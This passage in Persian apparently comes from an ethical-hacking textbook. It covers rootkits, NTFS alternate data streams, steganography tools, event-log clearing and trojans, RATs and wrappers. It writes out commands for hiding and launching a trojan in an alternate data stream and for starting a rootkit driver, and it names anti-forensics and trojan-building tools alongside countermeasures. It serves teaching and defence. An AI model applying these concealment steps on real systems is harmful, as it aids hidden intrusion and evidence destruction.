  .كنند كند، جايگزين مي هكر را مخفي مي

Application-level rootkits : اين دسته ازrootkit كند  ها جايگزين مي ها را با تروجان باينري برنامههاي  ها، بيت

  .يا ابزارهاي ديگر، تغيير دهد ها، كدهاي تزيق شده، patchيا ممكن است كه رفتار برنامه موجود را از طريق 

  

  XPو  2000ها بر روي كامپيوترهاي ويندوز  Rootkitنصب 

Windows NT/2000 rootkitشود ، بطور اتوماتيك هنگاه اجراي ويندوز، بارگذاري مي .Rootkit با دسترسي ،

تواند  مي Rootkit. كند بنابراين، به همه منابع سيستم عامل دسترسي دارد كار مي NT kernelسيستمي در هسته 

 blue scrrenند تا ها را مخفي كند، مقادير رجيستري را مخفي كند، وقفه ايجاد ك ها را مخفي كند، فايل پردازش

  .را تغيير مسير دهد EXEظاهر شود، و فايل هاي 

Rootkit شامل يك ،kernel mode device driver  كه_root_.sys  نام دارد و يك برنامه اجرا كننده كه

DEPLOY.EXE پس از ايجاد دسترسي به سيستم هدف، هكر، . نام دارد، است_root_.sys  وDEPLOY.EXE  را

را نصب و شروع  rootkitسپس درايور دستگاه . كند را اجرا مي DEPLOY.EXEكند و  از سيستم هدف كپي مي

و  _net stop _rootسپس، با استفاده از دستور . كند را از سيستم هدف حذف مي DEPLOY.EXEسپس . كند مي

net start _root_ ،rootkit  راstop  و سپسrestart زمانيكه . كند ميrootkit  شروع به كار كرد، فايل_root_.sys 

  .شود ديگر در ليست دايركتوري ظاهر نمي
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  ها rootkitمقابله با 

دارند بنابراين، امنيت  administratorها براي دسترسي به سيستم هدف، نياز به دسترسي  rootkitتمام 

شود كه از اطلاعات  را شناسايي كرديد، توصيه مي rootkitاگر شما يك . پسورد از اهميت بالايي برخوردار است

  .ها را دوباره از منبع قابل اعتماد نصب كنيد حياتي پشتيبان تهيه كنيد و سيستم عامل و برنامه

 MD5 checksum ،128براي يك فايل، . استفاده كنيد MD5 checksumروش ديگر اين است كه از ابزار 

اين . در اين الگوريتم متفاوت خواهد بود checksumيل تغيير كند، مقدار هاي يك فا اگر يكي از بيت. بيت است

 checksumقابليت خوب ديگر، طول ثابت . آنها، مفيد است ها و مطمئن شدن از يكپارچگي قابليت براي مقايسه فايل

  .است

  ابزارهاي هك

Tripwireعلاوه بر بررسي . هاي يونيكس و لينوكس است ، برنامه بررسي يكپارچگي فايل براي سيستم عامل

checksum ها،  ها و دايركتوري بر روي فايلTripwireدهد مجوزهاي  ، داراي اطلاعاتي است كه به شما اجازه مي

، و آخرين اصلاح آن را بررسي دسترسي و تنظيمات فايل، نام كاربري مالك، تاريخ و ساعت آخرين دسترسي به آن

  .ديكن

  

  ها مخفي كردن فايل

اين  زاسپس . ممكن است هكري بخواهد كه فايلي را بر روي سيستم مخفي كند تا از شناسايي در امان بماند

اولين روش، . ها وجود دارد در ويندوز، دو روش براي مخفي كردن فايل. دنكها براي حمله به سيستم استفاده  فايل

  :، دستور زير را تايپ كنيدattribه از دستور براي مخفي كردن فايل با استفاد. است attribاستفاده از دستور 

Attrib +h [file/directory]  

سيستم . است NTFS data streamingدومين روش براي مخفي كردن فايل در ويندوز، با استفاده از خاصيت 

ديگري كه ها را داخل فايل  دادهشود كه  ناميده مي alternate data streams، داراي قابليتي است كه NTFSفايل 

  .توان به فايل اصلي لينك كرد و نيز محدوديت اندازه ندارد بيشتر از يك فايل را مي. كند قابل رويت است، مخفي مي
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NTFS File Streaming  

  :، مراحل زير را انجام دهيدNTFS file streamبراي ساخت و تست 

 .را تايپ كنيد noepad test.txt، دستور cmdدر  .1

 .اطلاعاتي پر كنيد و سپس آن را ببنديدفايل را با  .2

 .را وارد كنيد و به اندازه آن دقت كنيد dir test.txt، دستور cmdدر  .3

داخل فايل را با مطالبي پر كنيد و آن را . را تايپ كنيد notepad test.txt:hidden.txt، دستور cmdدر  .4

 .ذخيره كنيد

 ).قبل تفاوتي نكرده باشدبايد نسبت به (دوباره اندازه فايل را بررسي كنيد  .5

6. Test.txt هاي اصلي را ببينيد بايد فقط داده. را باز كنيد. 

 .شود پيام خطا نمايش داده مي. تايپ كنيد cmdرا در  type test.txt:hidden.txtدستور  .7

 :انتقال دهيد، از دستور زير استفاده كنيد Readme.txtرا به  Trojan.exeبراي اينكه محتواي  .8
C:\> type  c:\Trojan.exe > c:\Readme.txt:Trojan.exe 

 :، از دستور زير استفاده كنيدReadme.txtدر  Trojan.exeبراي اجراي  .9
C:\> start c:\Readme.txt:Trojan.exe 

 :از دستور زير استفاده كنيد Readme.txtاز  Trojan.exeكردن  extractبراي  .10
C:\> cat c:\Readme.txt:Trojan.exe > Trojan.exe  

  ابزارهاي هك
Makestrm.exeها را از يك فايل به يك  اي است كه داده ، برنامهalternate data stream  كه به فايل اصلي لينك
  .كند است، منتقل مي

  

  NTFS Streamمقابله با 

باشد كپي كنيد و  FAT، ابتدا آن فايل را به پارتيشني كه داراي سيستم فايل stream fileبراي حذف يك 

 streamكنيد، خاصيت  جابجا مي FATزمانيكه فايلي را به پارتيشن . برگردانيد NTFSسپس دوباره به پارتيشن 

  .است و تنها با اين سيستم فايل وجود دارد NTFSهاي  يكي از قابليت streamingشود براي اينكه  حذف مي

  ابزارهاي هك
اين  وجود داشته باشد، steamاگر فايل  .استفاده كنيد NTFS streamsبراي شناسايي  LNS.exeتوانيد از  شما مي

  .دهد كند و مكان آن را گزارش مي برنامه، آن را شناسايي مي
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  Steganographyهاي  تكنولوژي

Steganographyها در نوع ديگري از فايل همچون عكس يا فايل متني است ، فرآيند مخفي كردن داده .

هاي گرافيكي به عنوان محل مخفي كردن  ها، استفاده از عكس ها در فايل ترين روش براي مخفي كردن داده محبوب

  .جاسازي كند، هر اطلاعاتي را داخل فايل گرافيكي steganographyتواند با استفاده از  هكر مي. است

  ابزارهاي هك
ImageHide برنامه ،steganography حتي پس از . كند است كه مقادير بزرگي از متن را داخل عكس مخفي مي

هاي گرافيكي معمولي، عكس به طور طبيعي نشان داده  در برنامه. يابد ها، اندازه فايل افزايش نمي اضافه كردن داده
توانند آن را تشخيص  هاي ايميل، نمي snifferكند بنابراين  ها را داخل خودش بارگذاري و ذخيره مي داده. شود مي
  .دهند
  

Blindside برنامه دستوري ،steganography هاي  است كه اطلاعات را داخل عكسBMP كند مخفي مي.  
  

MP3Stegoشوند و سپس در  ها، فشرده و رمزگذاري مي داده. كند هاي گرافيكي مخفي مي ، اطلاعات را داخل فايل
MP3 bit stream شوند مخفي مي.  

  
Snow برنامه ،whitespace steganography  پيام ها را در متن است كهASCII كند كه اينكار را با  مخفي مي

هاي  ها در برنامه whitespaceاز آنجائيكه . دهد به انتهاي خط ها انجام مي whitespaceاستفاده از ضميمه كردن 
اگر از رمزگذاري استفاده شود، حتي در صورت تشخيص، . شود متني قابل مشاهده نيستند، پيام به راحتي مخفي مي

  .پيام قابل خواندن نيست
  

Camera/Shy با ويندوز و ،IE دهد كه اطلاعات حساس خود را داخل يك فايل  كند و به كاربران اجازه مي كار مي
  .ذخيره كنند gifعكس 

  
Masker Steganographyها داخل فايل ديگر است اي براي رمزگذاري و مخفي كردن فايل ، برنامه.  
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Stealth Files ،هاي ديگري همچون  هاي اجرايي را داخل فايل فايلWord ،Excel ،PowerPoint  وAcrobat  ادغام

  .كند يم
  

DCPP :ابزاري براي مخفي كردن كل يك سيستم عامل داخل سيستم عامل ديگر است.  

  
  

  :د عبارتند ازنشو استفاده مي steganographyهاي ديگر كه براي  برنامه
Fort Knox، Blindside، S- Tools، Steghide، Steganos، Pretty Good Envelop، Gifshuffle، wbStego، 
OutGuess، Data Stash، Hydan، Cloak، StegaNote، Stegomagic، FoxHole، Video Steganography. 

  

  .نند هر چند كه انجام آن سخت استرا شناسايي ك steganographyتوانند  ها مي برخي از برنامه

  مقابلهابزارهاي 
Stegdetect ابزاري خودكار براي شناسايي محتواي ،steganographic  هاي مختلف  روشتواند  است و مي تصاويردر

Steganography  تشخيص دهدرا براي جاسازي اطلاعات مخفي در تصاوير.  
  

Dskprobe ابزاري در ،CD  تواند  كه يك اسكنر سطح پايين هارد ديسك است و مي. است 2000ويندوز
steganography رو شناسايي كند.  

  

  پاك كردن ردپاها و مدارك

 تا از شناسايي دنك كاپزمانيكه هكر توانست به سيستمي دسترسي پيدا كند، تلاش خواهد كرد كه ردپاها را 

ممكن است كه بخواهد مدارك شناسايي يا  همچنين. در امان بماند ،ندش

هاي خطا يا  معمولا هكرها تمام پيغام. هاي خود را بر روي سيستم پاك كند فعاليت

  .دنكند تا از شناسايي خود ممانعت به عمل آور شوند را پاك مي امنيتي كه ثبت مي

  

www.ketabha.org



 

85 

 

  

  Auditing غير فعال كردن

 auditing. است auditingدهد، غير فعال كردن  يستم انجام مياولين چيزي كه هكر بعد از دسترسي به س

اين . كند قرار دارد، ذخيره مي Windows Event Viewerكه در قسمت  log ويندوز، رخدادهاي مشخصي را در فايل

سازي رخدادها را  تواند سطح اين ذخيره مدير سيستم مي. است Event logيا يك رخدادها شامل ورود به سيستم، 

خواهد كه سطح ثبت رخدادها را مشخص كند تا ببيند آيا نيازي به پاك كردن رخدادهايي كه  هكر مي. انتخاب كند

  .حضور او را در سيستم ثبت كند وجود دارد يا نه

  هكابزارهاي 
AuditPolتواند به صورت دستوري،  ، ابزاري است كه ميauditing اين ابزار، . را در ويندوز، فعال يا غير فعال كند

  .ها تعيين شده است را نيز مشخص كند تواند سطح ثبت رخدادها را كه توسط مدير سيستم مي

  
  

  Event Logپاك كردن 

اگر تنها يك يا چند . را پاك كند Windows Event Viewerتواند به راحتي، ركوردهاي موجود در  هكر مي

. دهد رخدادهاي ديگر پاك شده است ركورد در اين قسمت وجود داشته باشد، مشكوك است براي اينكه نشان مي

، auditingهنوز هم لازم است كه پس از غير فعال كردن 

براي اينكه بعد از  دينرا پاك ك Event Viewerقسمت 

، رخدادي مبني بر غير فعال AuditPolاستفاده از ابزار 

براي پاك . شود ، در اين قسمت ثبت ميauditingشدن 

  .، ابزارهاي زيادي وجود داردevent logكردن 
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  هكابزارهاي 
Elsave.exeاي براي پاك كردن  ، ابزار سادهevent log دستوري است طخ اين ابزار به صورت. است.  

  
WinZapperتواند براي پاك كردن ركوردهاي انتخابي از رخدادها در  ، ابزاري است كه هكر ميsecurity log  ويندوز

  .شود ثبت نميهيچ رخداد امنيتي در طول اجراي برنامه، دهد كه  ، اطمينان ميWinZapper. دربب، به كار 2000
  

Evidence Eliminator يك سيستم ،data cleaning  براي كامپيوترهاي ويندوزي است كه از مخفي شدن هميشگي
، Recycle bin ،Internet cache ،system filesهاي  افزار، قسمت اين نرم. كند ها در سيستم جلوگيري مي داده

temp folders  كند را پاك مي... و .Evidence Eliminatorتواند توسط هكر براي پاك كردن شواهد و مدارك  ، مي
  .سيستم مورد استفاده قرار گيردهك 
  

  :ترين آنها عبارتند ازابزارهاي ديگري نيز براي پاك كردن ردپاها وجود دارند كه مهم

• Traceless 

• Tracks Eraser Pro 

• Aromor 

• ZeroTracks 

• PhatBooster 
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 مپنج فصل

 

Trojan, Backdoor, Virus, Worm 
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  مقدمه

انواع  و دنشوبد از طريق آنها وارد سيستمي نتوان مي هاها دو روشي هستند كه هكر backdoorها و  تروجان

براي اي ديگري نصب شوند يا كاربر  بايد توسط برنامه: مختلفي دارند ولي همگي داراي يك نقطه مشترك هستند

هكر قانونمند هستند  toolkitها، از ابزارهاي خطرناك در  backdoorها و  تروجان . نصب آنها در سيستم، مداخله كند

  .كه بايد براي تست امنيت يك سيستم يا شبكه مورد استفاده قرار گيرند

بسياري از  در حقيقت،. خطرناك باشند ،ها backdoorها و  توانند مثل تروجان ها نيز مي wormها و  ويروس

 backdoorو سپس، براي هكر،  دنناسرد به سيستم آسيب بنتوان شوند و مي ها، سبب فعال شدن تروجان مي ويروس

ها صحبت  wormها و  ها، ويروس backdoorها،  هاي بين تروجان ها و تفاوت اين فصل در مورد شباهت. باز كنند

بزارها و كدهاي مخرب، براي هكرهاي قانونمند، مهم هستند براي اينكه هكرها از اين ابزارها براي ا همه اين. كند مي

  .كنند ها استفاده مي حمله به سيستم

  

  ها backdoorها و  تروجان

Backdoorكند تا بعدا بتواند  نصب مي ينابرقآن را بر روي سيستم  رهك هاي مرتبطي است كه ، برنامه يا برنامه

ممكن است هدف  يا است logهاي  حمله از فايل شواهد، حذف backdoorهدف . از طريق آن، وارد سيستم شود

backdoorحتي اگر حمله توسط مدير سيستم تشخيص داده  ؛، دسترسي هكر به سيستم بصورت هميشگي باشد

  .شود و جلوگيري شود

. در سيستم عامل ويندوز، اضافه كردن سرويس است backdoorهاي مخفي سازي  ترين تكنيك رايج يكي از

تواند  هكر مي. هاي در حال اجرا را پيدا كند ، هكر بايد سيستم را بررسي كند تا سرويسbackdoorقبل از نصب يك 

شود و غير فعال است  لا استفاده نميكه اص يسرويس جديدي را اضافه كند و اسم غير مهمي به آن بدهد يا از سرويس

  .استفاده كند

عجيب  دادخرها به دنبال  ، معمولا مديران سيستمدهد رخ ميهك زمانيكه است براي اينكه  خوبياين تكنيك 

: ، ساده و در عين حال كارا استbackdoorتكنيك . كنند هاي موجود را بررسي نمي در سيستم هستند و سرويس
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شده است،  backdoorسرويسي كه به عنوان  .هاي سرور، وارد سيستم شود logدر  شواهدتواند با كمترين  هكر مي

  .دهد به هكر مي اربا دسترسي بالا اجازه استفاده از سيستم 

RAT  ها، نوعي ازbackdoor  فعال كردن كنترل از راه دور بر روي سيستم هدف استفاده براي ها هستند كه

شد، مثل يك فايل اجرايي عمل  اجرا RATزمانيكه . ها را بر روي كامپيوتر قرباني باز كنند توانند پورت و مي دنشو مي

ها هم  كند و بعضي وقت تعامل مي هستندها  كه مسئول اجراي سرويس خاصيكند و با كليدهاي رجيستري مي

خود را داخل سيستم عامل قرباني كپي ها  RATهاي رايج،  backdoorبرخلاف . كند هايي را ايجاد مي سرويس

فايل كلاينت بر روي ماشين هدف نصب . فايل كلاينت و فايل سرور: دنتسهكنند و هميشه با دو فايل همراه  مي

  .شود ، توسط هكر براي كنترل سيستم قرباني استفاده ميسرورشود و فايل  مي

  

  تروجان چيست؟

ها همراه با برنامه  معمولا تروجان. دهد خوب نشان مي برنامهتروجان، برنامه مخربي است كه خود را به عنوان 

د سبب سرقت يا از دست نتوان ، ميندشوند و زمانيكه بر روي سيستمي نصب شد افزاري دانلود مي يا بسته نرم ديگر

مورد استفاده  DDOSنوان آغاز حملات ديگري همچون همچنين به ع. دندادن اطلاعات، كندي يا اختلال سيستم شو

ها، اجراي از راه دور  ، مديريت پردازشها در سيستم قرباني ها براي دستكاري داده بسياري از تروجان. دنگيرقرار 

  .شوند استفاده مي ، و ريستارت يا خاموش كردن كامپيوترهاكامپيوتر كاربر دستورات، تماشاي تصاوير صفحه

  

  

. دنشو شوند و معمولا بدون اطلاع كاربر، بر روي سيستم نصب مي هاي ديگر نصب مي ها در پشت برنامه تروجان

، يا اشتراك IRCبه عنوان يك پيوست براي پيام، : شود هاي مختلفي به سيستم قرباني ارسال مي تروجان به روش

هاي  ، برنامهspywareافزارهاي قانوني، ابزارهاي حذف  خود را به عنوان نرم هاي جعلي، بسياري از برنامه. فايل
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تبليغات براي . كنند ها، و ويدئو وانمود مي سيستم، محافظ صفحه نمايش، موسيقي، تصاوير، بازي سازي بهينه

اين . دنكن هاي ويدئويي، قرباني را براي نصب برنامه تروجان ترغيب مي هاي موسيقي، يا فايل هاي رايگان، فايل برنامه

هاي  جدول زير، برخي از تروجان. توانند مخرب باشند ها، دسترسي سيستمي بر روي سيستم هدف دارند و مي برنامه

  .دهد رايج به همراه شماره پورت آنها را نشان مي

Port Protocol Trojan 
31337 or 31338 UDP BackOrifice 

2140 or 3150 UDP Deep Throat 
12345 and 12346 TCP NetBus 
12361 and 12362 TCP Whack-a-mole 

20034 TCP NetBus 2 
21544 TCP GirlFreind 

3129, 40421, 40422, 40423, and 40426 TCP Masters Paradise 
  

  چيست؟ covertو  overtهاي  كانال

، از covertكانال . ها با يك سيستم يا شبكه كامپيوتري است ، روش طبيعي و قانوني ارتباط برنامهovertكانال 

  .كند مورد قصد نيستند استفاده مي ها يا مسيرهاي ارتباطي كه برنامه

هاي  هاي كلاينت از كانال بعضي از تروجان. كنند براي ارتباط استفاده مي covertهاي  ها از كانال تروجان

covert سبب  رما كه اين كنند سرور در سيستم به خطر افتاده استفاده مي ها به عنصر براي ارسال دستورالعمل

  .دنشود كه ارتباطات تروجان به سختي رمزگشايي و درك شو مي

دهد پروتكلي از طريق  كند كه اجازه مي شود اتكا مي ، بر روي تكنيكي كه تانلينگ ناميده ميCovertهاي  كانال

  .telnetبراي  80مثلا استفاده از پورت . پروتكل ديگر حمل شود
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  ابزارهاي هك
Loki يكي از ابزارهاي هك است كه دسترسي ،shell  را از طريقICMP دهد و شناسايي آن را نسبت به  مي

backdoor هاي  اي از بسته مجموعه. سازد ها، بسيار دشوار ميICMP هكر، دستورات . شوند از طريق شبكه ارسال مي
  .كند كند و آنها را روي سرور اجرا مي ارسال مي Lokiرا از طريق كلاينت 
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  ها تروجانانواع 

  :ها عبارتند از ترين انواع تروجان برخي از مهم. توانند حملات زيادي را انجام دهند ها مي تروجان

• Remote Access Trojans )RAT :(دوش براي ايجاد دسترسي از راه دور به سيستم استفاده مي. 

• Data-Sending Trojans :شود استفاده مي رها در سيستم و تحويل آن به هك براي يافتن داده. 

• Destructive Trojans :شود ها بر روي سيستم استفاده مي براي حذف يا خراب كردن فايل. 

• Denial of Service Trojans : براي انجام حملاتDoS شود استفاده مي. 

• Proxy Trojans :شود ترافيك يا اجراي حملات هكر از طريق سيستم ديگر استفاده مي براي تانل كردن. 

• FTP Trojans : براي ايجاد يك سرورFTP شود هاي روي يك سيستم استفاده مي براي كپي فايل. 

• Security software disabler Trojans :شود افزار آنتي ويروس استفاده مي براي متوقف كردن نرم. 

 

  

  كنند؟ چگونه كار مي Reverse-connectingهاي  تروجان

، اجازه دسترسي هكر به يك ماشين كه در داخل شبكه قرار دارد را از reverse-connectingهاي  تروجان

تواند يك برنامه تروجان ساده را روي سيستمي در شبكه داخلي نصب كند مثل  هكر مي. كند خارج شبكه فراهم مي

سيستم اصلي به كند تا  ، سرور داخلي تلاش مي)ثانيه 60معمولا هر ( عاديدر حالت . reverse WWW shellسرور 

، چيزي را در سيستم اصلي تايپ كرد، اين دستورات روي هكراگر . خارجي دسترسي پيدا كند تا دستورات را بگيرد
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از آنجائيكه . كند ه مياستاندارد استفاد HTTP، از Reverse WWW shell. شوند سيستم داخلي بازيابي و اجرا مي

  .كند مشابه اين است كه كلاينت، از شبكه داخلي، وب را مشاهده مي. شناسايي آن دشوار است، خطرناك است

  ابزارهاي هك
TROJ_QAZ تروجاني است كه برنامه ،notepad.exe  را بهnote.com آن را به عنوان  دهد و سپس تغيير نام مي

notpad.exe شود كه هر وقت كه كاربر برنامه  موجب مي رمااين . كند به پوشه ويندوز كپي ميNotepad  را اجرا
است كه براي اتصال و كنترل كامپيوتر با استفاده از پورت  backdoorهمچنين داراي . كند، اين تروجان اجرا شود مي

د تا هر وقت كه ويندوز شروع شد، گذار ، بر روي رجيستري اثر ميTROJ_QAZهمچنين، . شود استفاده مي 7597
  .اين تروجان هم بارگذاري شود

  
Tini يك تروجان و ،backdoor گوش  7777بر روي پورت . بسيار ساده و كوچك براي سيستم عامل ويندوز است
، هكر بايد به Tini Serverبراي اتصال به . دهد سيستم هدف را مي Cmdدهد و اجازه دسترسي راه دور هكر به  مي

  .كند telnet، 7777پورت 
  

iCmd مشابه ،tini توانيد پسورد ست كنيد دهد و نيز شما مي است با اين تفاوت كه اجازه چندين ارتباط را مي.  
  

Proxy Server Trojanهزاران . كند كند، از آن به عنوان پروكسي سرور استفاده مي ، زمانيكه كامپيوتري را آلوده مي
  .اند ر روي اينترنت با استفاده از اين تكنيك، آلوده شدهكامپيوتر ب

  
  

Donald Dick يك تروجان و ،backdoor  براي سيستم عامل ويندوز است كه اجازه دسترسي كامل به يك سيستم
اين . برنامه را روي سيستم، بخواند، بنويسد، يا اجرا كندتواند  هكر مي. سازد را از طريق اينترنت براي هكر فراهم مي

را  CD-ROMتواند عملياتي همچون باز يا بسته كردن  است كه مي registery parserو  keyloggerتروجان، شامل 
كند  هاي از پيش تعيين شده قرباني استفاده مي حمله كننده، از كلاينت براي ارسال دستورات به پورت. انجام دهد

  .هستند 23477يا  23476هاي پيش فرض اين تروجان  پورت
  

SubServenدهد و  شود، به هكر اطلاع مي ، تروجاني است كه زمانيكه كامپيوتر آلوده شده به اينترنت متصل مي
، يا توسط ICQ، توسط IRCتواند از طريق شبكه  اين اطلاع رساني مي. دهد اطلاعاتي در مورد سيستم را به هكر مي

هاي خطا توليد  سيستم آلوده شده، پيغام شود كه سيستم كند شود و بر روي اين تروجان سبب مي. ايميل انجام شود
  .كند مي
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NetBus تروجاني مبتني بر ويندوز است كه مشابه ،Donald Dick كليدي با نام . استNetBus Server  در مسير

HKEY_CURRENT_USER كند و كليد  اضافه ميHKEY_CURRENT_USER\NetBus 

Server\General\TCPPort اگر . را تغيير مي دهدNetBus  در براي شروع خودكار تنظيم شده باشد، ورودي را در
 رد HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesمسير 

  .كند اضافه مي NetBus Serverبا نام  ورجيستري 
  

BackOrifice 2000تواند براي كنترل يك سيستم از طريق ارتباط  ، ابزار مديريتي از راه دور است كه هكر مي
TCP/IP با استفاده از يك اينترفيس گرافيكي استفاده كند .BackOrificeهاي در حال اجرا نشان  ، در ليست پردازش
اين تروجان، . كند تا زمانيكه كامپيوتر شروع به كار كرد، اجرا شود شود و خود را داخل رجيستري كپي مي داده نمي

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesكليد 
كند كه شامل رمزگذاري  اضافه مي BackOrificeنامه، قابليتهايي را به برنامه هاي اين بر Plug-in .دهد را تغيير مي

3DES ،remote desktop  با كنترل كيبورد و ماوس، ويرايش رجيستري به صورت گرافيكي و از راه دور، ارتباطات
  ... .، و ICMPو  UDPهاي  امن پروتكل

  
ComputerSpy Key Loggerبراي ضبط فعاليتهاي كامپيوتر روي يك سيستم تواند  اي است كه هكر مي ، برنامه

 Yahooو  ICQ ،MSN ،AOL ،AIMها و پسوردها براي  هاي مشاهده شده، لاگين وب سايت: استفاده كند از قبيل

Messanger  ياwebmail .هاي زماني مشخص شده، از تمام صفحه كامپيوتر،  تواند در بازه همچنين اين برنامه مي
  .عكس بگيرد

  
Beastاي كه براي سرويس  ، تروجاني است كه در حافظهWinLogon.exe شود اختصاص يافته است اجرا مي .

يكي از . كند وارد مي Internet Explorerيا  Windows Explorerزمانيكه نصب شد، برنامه خود را داخل 
است يعني اينكه كلاينت، سرور، و ويرايشگر سرور همگي در  all-in-oneهاي شاخص اين برنامه اين است كه  قابليت

  .شوند همان برنامه ذخيره مي
  

CyberSpy يك ،Telnet Trojan كند و در رجيستري ثبت  است كه خود را داخل دايركتوري ويندوز كپي مي
شد، اعلامي را از طريق  زمانيكه انجام. شود شود، اجرا مي كند بنابراين، هر زمان كه سيستم آلوده، ريستارت مي مي

  .دهد اند، گوش مي كه قبلا مشخص شده TCP/IPهاي  كند و سپس به پورت ارسال مي ICQايميل يا 
  

SubRoot1700تواند براي اتصال به يك سيستم قرباني روي پورت  ، تروجان مديريتي از راه دور است كه هكر مي 
  .استفاده كند

  
LetMeRule كه از . شود براي گوش دادن به هر پورتي روي سيستم هدف پيكربندي مي، تروجان راه دور است كه

Cmd ها را  هايي را در دايركتور مشخص پاك كند، فايل تواند همه فايل مي. كند براي كنترل سيستم هدف استفاده مي
  .در كامپيوتر راه دور اجرا كند، يا رجيستري را مشاهده و تغيير دهد
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Firekiller 2000براي نمونه، اگر آنتي ويروس نورتن بر روي . كند فعال ميها را غير هاي آنتي ويروس و فايروال ، برنامه

سازد و براي استفاده  فعال باشد، اين تروجان، اين دو برنامه را متوقف مي ATGuardاسكن خودكار باشد و فايروال 
  .مجدد، بايد دوباره نصب شوند

  
 DOSهاي ويندوزي و  ها را بر روي سيستم عامل ، اجازه خراب كردن همه دادهHard Drive Killer Proهاي  برنامه
پس . كند كند و سيستم را در عرض چند ثانيه ريستارت مي ها را پاك مي زمانيكه برنامه اجرا شد، تمام فايل. دهد مي

ثانيه، فرمت  2يا  1، در عرض )ابدون توجه به اندازه آنه( اند از ريستارت، تمام هاردهايي كه به سيستم متصل شده
  .شوند به نحوي كه قابل بازيابي نيستند مي
  

-Backdoor.Theef ،T2W ،Biorante RAT ،DownTroj ،Turkojan ،Satellite: عبارتند از برخي ديگر از ابزارها

RAT ،Yakoza ،DarkLabel B4 ،Trojan.Hav-Rat ،Poison Ivy ،Rapid Hacker ،SharK ،HackerzRat ،
TYO ،1337 Fun Trojan ،Criminal Rat Beta ،VicSpy ،Optix PRO ،ProAgent ،OD Client ،AccRat ،

Mhacker-PS ،RubyRAT Public ،SINner ،ConsoleDevil ،ZombieRat ،TinyFTPD ،VNC Trojan ،
Webcam Trojan ،DJI RAT ،Skiddie Rat ،Biohazard RAT ،Troya ،ProRat ،Dark Girl ،DaCryptic ،

Net-Devil ،PokerStealer.A ،Hovdy.a.  
  

  Netcatنحوه كار تروجان 

Netcatهاي  ، تروجاني است كه از اينترفيس خط دستوري براي باز كردن پورتTCP  ياUDP  روي سيستم

  .به سيستم هدف پيدا كند shellكند و دسترسي  telnetها،  تواند به اين پورت سپس هكر مي. كند هدف استفاده مي

  

  هاي حمله تروجان چيست؟ نشانه

ها بدون دخالت  عملياتي از قبيل اجراي برنامه. اي از حمله تروجان است رفتار غير معمول سيستم، معمولا نشانه

هاي  وب سايت ن، نشان دادscreen saverيا  background، تغيير در تصوير CD-ROMكاربر، باز و بسته شدن 

هر عملي كه بدون مداخله كاربر انجام شود، . هايي از حمله تروجان است ته توسط برنامه مرورگر، نشانهناخواس

  .اي از حمله تروجان است نشانه

  :برخي ديگر از علائم حمله تروجان عبارتند از

 .شوند هايي بصورت خودكار از پرينتر، پرينت گرفته مي فايل •

 .كنند معكوس كار ميكليدهاي راست و چپ ماوس، بصورت  •

 .شود نشانگر ماوس، ناپديد مي •
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 .شود نشانگر ماوس جابجا مي •

 .شود ويندوز ناپديد مي Startدكمه  •

 .دهد انجام مي IP scanningكند كه كامپيوترش، عمليات  به كاربر اعتراض مي ISPشركت  •

 .دانند رش ميكنند، اطلاعات شخصي زيادي درباره او يا كامپيوت افرادي كه با قرباني چت مي •

 .شود ش ميكامپيوتر بصورت خود به خود خامو •

 .شود ، ناپديد ميtaskbarنوار  •

 .ها دسترسي داشته باشند توانند به اكانت كنند يا اشخاص ديگري مي ها تغيير مي پسوردهاي اكانت •

 .شود خريدهاي عجيبي در صورتحساب كارت اعتباري مشاهده مي •

 .شود موش و روشن ميمانيتور كامپيوتر، خود به خود خا •

 .شود مودم بصورت خود به خود به اينترنت متصل مي •

 .كنند كار نمي Ctrl+Alt+Delكليدهاي  •

 .شود كه كاربر ديگري به سيستم متصل است شود، پيغامي ظاهر مي اندازي مي وقتي كامپيوتر راه •

  

Wrapping چيست؟  

Wrapper افزارها، تروجان  اين نرم. گيرند مورد استفاده قرار ميافزارهايي هستند كه براي تحويل تروجان  ها نرم

شوند و زمانيكه برنامه  ها داخل يك فايل اجرايي تركيب مي هر دوي اين فايل. چسبانند را به يك فايل معمولي مي

زمانيكه گيرند براي اينكه  ها مورد استفاده قرار مي wrapperها به عنوان  بطور كلي، بازي .شود شود، نصب مي اجرا مي

از اين رو، زمانيكه تروجان در حال نصب بر روي سيستم است، . كند تروجان در حال نصب است كاربر را مشغول مي

  .بيند كه در حال نصب است شود و تنها برنامه خود را مي كاربر متوجه كندي سيستم نمي
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  ابزارهاي هك
Graffitiدارد تا  اين بازي، كاربر را مشغول نگه مي. تروجان تركيب شودتواند با يك  ، يك بازي انيمشني است كه مي

شود و كامپيوتر را مشغول نگه  اندازي شد، اجرا مي پيوتر راهماين برنامه زمانيكه كا .تروجان در پشت زمينه نصب شود
  .دارد تا متوجه نصب تروجان نشود مي
  

RemoteByMailتواند  با ارسال دستورات از طريق ايميل، مي. كند رل مي، كامپيوتر قرباني را با استفاده از ايميل كنت
  .ها يا فولدرها را از كامپيوتر قرباني بازيابي كند فايل

  
  

Silk Rope 2000 يك ،wrapper  است كهBackOrifice server كند و هر برنامه مشخص ديگر را با هم تركيب مي.  
  

EliTeWrap برنامه ،wrapper شود استفاده مي ها نصب و اجرايي برنامهاست كه براي تحت ويندوز  پيشرفته .
EliTeWrapهاي  ها يا فايل هاي داخل يك دايركتوري و اجراي برنامه تواند يك برنامه نصبي براي كپي فايل ، مي

  .اي استفاده شود دسته
  

IconPlusها براي پنهان كردن  برنامهتواند از اين  هكر مي. هاي مختلف است ها به فرمت اي براي ترجمه آيكن ، برنامه
كنند كه آن  كنند و گمان مي خورند و آن را اجرا مي كدهاي مخرب يا تروجان استفاده كند بنابراين، كاربران فريب مي

  .يك فايل معمولي است

  

  ساخت تروجان ابزارهاي

. كند نظرشان كمك ميابزارهاي زيادي براي ساخت تروجان وجود دارد كه به هكرها در ساخت تروجان مورد 

شوند، خطرناك ناگر به درستي استفاده  و دنكن اين ابزارها به هكرها براي ساخت تروجان سفارشي شده كمك مي

شوند يك  هايي كه با استفاده از اين ابزارها و بصورت سفارشي ساخته مي تروجان. دنرسانبند آسيب نتوا شوند و مي مي

مانند براي اينكه با هيچكدام از  افزارهاي آنتي ويروس مخفي مي دست نرممزيت بزرگ دارند و آن اينست كه از 

signature افزار آنتي ويروس وجود دارند، مشابه نيستند هايي كه در نرم.  

 Senna Spy Generetor ،Trojan Horse Construction Kit: برخي از ابزارهاي ساخت تروجان عبارتند از

v2.0 ،Progenic Mail Trojan Construction Kit و ،Pandora’s Box.  
